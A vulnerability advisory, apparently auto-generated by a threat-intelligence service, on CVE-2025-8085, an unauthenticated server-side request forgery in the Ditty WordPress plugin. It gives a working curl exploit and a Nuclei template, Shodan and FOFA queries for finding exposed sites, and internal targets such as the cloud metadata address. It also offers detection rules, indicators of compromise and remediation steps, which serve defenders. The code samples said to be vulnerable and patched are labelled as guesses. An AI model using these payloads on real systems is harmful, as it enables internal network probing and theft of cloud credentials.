CVE-2025-8085
Executive Summary
CVE-2025-8085 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Ditty WordPress plugin (versions before 3.1.58). The plugin's displayItems endpoint lacks proper authorization and authentication, allowing unauthenticated attackers to force the server to make arbitrary HTTP requests. This can be leveraged to probe internal network services, access cloud metadata endpoints (e.g., AWS, GCP), and potentially exfiltrate sensitive data. A previous fix in version 3.1.57 attempted to mitigate the issue with a nonce check, but this was insufficient as any authenticated user (e.g., subscriber) could retrieve the nonce. The vulnerability is confirmed by a public Nuclei template and has a high severity rating.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Ditty WordPress plugin, distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected if they are running a version prior to 3.1.58. The supply chain risk is moderate, as the plugin is widely used for news tickers and dynamic content displays. No malicious code injection has been reported, but the SSRF vector could be used to pivot attacks to internal infrastructure.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: High. The vulnerability is easily exploitable by unauthenticated attackers and can lead to significant information disclosure from internal networks.
Deep Dive & Mechanics
The vulnerability resides in the displayItems endpoint of the Ditty plugin, registered via the WordPress REST API at /wp-json/dittyeditor/v1/displayItems. The endpoint processes a JSON payload containing apiData with layouts and items arrays. The layouts array includes an html field that can contain an {image default_src="..."} shortcode. The plugin's code processes this shortcode by making an HTTP request to the URL specified in the default_src attribute.
The core issue is that the endpoint does not validate or sanitize the URL before making the request. An attacker can supply an arbitrary URL, including internal IP addresses (e.g., http://169.254.169.254/ for cloud metadata) or internal services (e.g., http://localhost:9200/ for Elasticsearch). The server will then make the request, and the response may be reflected back to the attacker or used in further exploitation.
The attempted fix in version 3.1.57 added a nonce check, but this nonce is accessible to any authenticated user, including subscribers. An attacker can create a low-privilege account or compromise an existing one to obtain the nonce and bypass the check.
Vulnerable vs. Patched Code
Vulnerable Code (pre-3.1.58):
The endpoint handler likely processes the html field without validating the URL. A simplified representation:
function handle_display_items($request) {
$api_data = $request->get_param('apiData');
foreach ($api_data['layouts'] as $layout) {
$html = $layout['html'];
// Process shortcode - vulnerable to SSRF
$processed = do_shortcode($html);
}
// ...
}
Patched Code (3.1.58+): The patched version adds proper authorization checks, likely verifying user capabilities and sanitizing URLs. A conceptual patch:
function handle_display_items($request) {
// Check user capability
if (!current_user_can('edit_posts')) {
return new WP_Error('rest_forbidden', 'You do not have permission.', array('status' => 403));
}
$api_data = $request->get_param('apiData');
foreach ($api_data['layouts'] as $layout) {
$html = $layout['html'];
// Sanitize URL in shortcode
$html = preg_replace_callback('/default_src="([^"]+)"/', function($matches) {
$url = esc_url_raw($matches[1]);
if (wp_http_validate_url($url) === false) {
return ''; // Remove invalid URLs
}
return 'default_src="' . $url . '"';
}, $html);
$processed = do_shortcode($html);
}
// ...
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Ditty plugin version < 3.1.58.
- An interactsh or Burp Collaborator instance to receive out-of-band requests.
Exploitation Steps:
Identify Target: Use Shodan or FOFA to find vulnerable instances.
- Shodan:
http.html:"/wp-content/plugins/ditty-news-ticker/" - FOFA:
body="/wp-content/plugins/ditty-news-ticker/"
- Shodan:
Craft Payload: Send a POST request to the vulnerable endpoint with a malicious JSON payload.
curl -X POST https://target.com/wp-json/dittyeditor/v1/displayItems \
-H "Content-Type: application/json" \
-d '{
"apiData": {
"layouts": [
{
"id": "test",
"html": "{image default_src=\"http://your-collaborator-url\"}",
"css": "test"
}
],
"items": [
{
"item_id": 1234,
"item_type": "default",
"item_value": { "content": "test" },
"layout_value": { "default": "test" }
}
]
}
}'
Verify SSRF: Check your collaborator for incoming HTTP requests. If received, the vulnerability is confirmed.
Internal Network Scanning: Replace the collaborator URL with internal addresses to probe services.
http://169.254.169.254/latest/meta-data/(AWS metadata)http://localhost:9200/(Elasticsearch)http://10.0.0.1:8080/(Internal web app)
Nuclei Template (Provided):
id: CVE-2025-8085
info:
name: Ditty < 3.1.58 - Server-Side Request Forgery
author: s4e-io
severity: high
description: |
The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.
impact: |
Unauthenticated attackers can force the server to make requests to arbitrary URLs through the displayItems endpoint, potentially accessing internal services and exposing sensitive data.
remediation: |
Upgrade Ditty WordPress plugin to version 3.1.58 or later that implements proper authorization checks on the displayItems endpoint.
reference:
- https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
- https://nvd.nist.gov/vuln/detail/CVE-2025-8085
- https://research.cleantalk.org/cve-2025-8085/
metadata:
verified: true
max-request: 1
shodan-query: http.html:"/wp-content/plugins/ditty-news-ticker/"
fofa-query: body="/wp-content/plugins/ditty-news-ticker/"
publicwww-query: "/wp-content/plugins/ditty-news-ticker/"
tags: cve,cve2025,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,metaphorcreations,vuln,vkev
variables:
marker_string: "{{rand_text_alpha(5)}}"
marker_int: "{{rand_int(1000, 9999)}}"
http:
- raw:
- |
POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"apiData": {
"layouts": [
{
"id": "{{marker_string}}",
"html": "{image default_src=\"http://{{interactsh-url}}\"}",
"css": "{{marker_string}}"
}
],
"items": [
{
"item_id": "{{marker_int}}",
"item_type": "default",
"item_value": { "content": "{{marker_string}}" },
"layout_value": { "default": "{{marker_string}}" }
}
]
}
}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- 'contains_all(body, "{{marker_string}}", "{{marker_int}}")'
- "status_code == 200"
condition: and
Blue Team (Detection & Response)
Detection Steps:
- Monitor REST API Logs: Look for POST requests to
/wp-json/dittyeditor/v1/displayItemsfrom unauthenticated sources. - Analyze Payloads: Check for suspicious URLs in the
htmlfield, especially internal IPs or cloud metadata endpoints. - Outbound Traffic Monitoring: Alert on outbound HTTP requests from the WordPress server to unknown or internal IPs.
- User Agent Analysis: The default Nuclei template uses a standard Go HTTP client user agent; monitor for unusual user agents.
Response Actions:
- Immediately block the attacking IP.
- Isolate the affected server.
- Review server logs for data exfiltration.
- Apply the patch (upgrade to 3.1.58+).
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-json/dittyeditor/v1/displayItemswith JSON payloads containingdefault_srcpointing to internal IPs. - Outbound HTTP requests to cloud metadata IPs (e.g.,
169.254.169.254,fd00:ec2::254). - Outbound HTTP requests to internal RFC 1918 addresses (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x).
- POST requests to
File IOCs:
- Log entries in
/var/log/apache2/access.logor/var/log/nginx/access.logcontaining the endpoint and suspicious payloads.
- Log entries in
Behavioral IOCs:
- Unusual spikes in outbound HTTP traffic from the WordPress server.
- Access to the endpoint from IPs not associated with legitimate users.
Detection Engineering
YARA Rule
rule CVE_2025_8085_Ditty_SSRF {
meta:
description = "Detects exploitation attempts of CVE-2025-8085 in Ditty WordPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-8085"
severity = "high"
strings:
$endpoint = "/wp-json/dittyeditor/v1/displayItems"
$ssrf_pattern = /default_src\s*=\s*["']https?:\/\/(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost|127\.0\.0\.1)/
$json_payload = /"apiData"\s*:\s*\{/
condition:
$endpoint and $ssrf_pattern and $json_payload
}
Sigma Rule
title: CVE-2025-8085 Ditty SSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to the Ditty plugin's displayItems endpoint with suspicious URLs indicating SSRF.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-8085
- https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-json/dittyeditor/v1/displayItems'
filter:
cs-uri-query|contains: 'default_src'
condition: selection and filter
falsepositives:
- Legitimate use of the plugin with external image sources (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8085 Ditty SSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/dittyeditor/v1/displayItems"; http_uri; content:"default_src"; http_client_body; pcre:"/default_src\s*=\s*["']https?:\/\/(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost|127\.0\.0\.1)/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Plugin: Update Ditty to version 3.1.58 or later immediately.
- Web Application Firewall (WAF): Create a rule to block POST requests to
/wp-json/dittyeditor/v1/displayItemscontainingdefault_srcwith internal IPs. - Network Segmentation: Ensure the WordPress server cannot access sensitive internal services.
- Disable Plugin: If immediate upgrade is not possible, disable the Ditty plugin until patched.
Long-Term Measures:
- Implement regular vulnerability scanning for WordPress plugins.
- Enforce least privilege for WordPress users.
- Monitor for similar SSRF vulnerabilities in other plugins.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact Secure Channels (Signal / Portal).
{/* [Security Hash: 074C28C5C871D4AC7DDC1F67] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.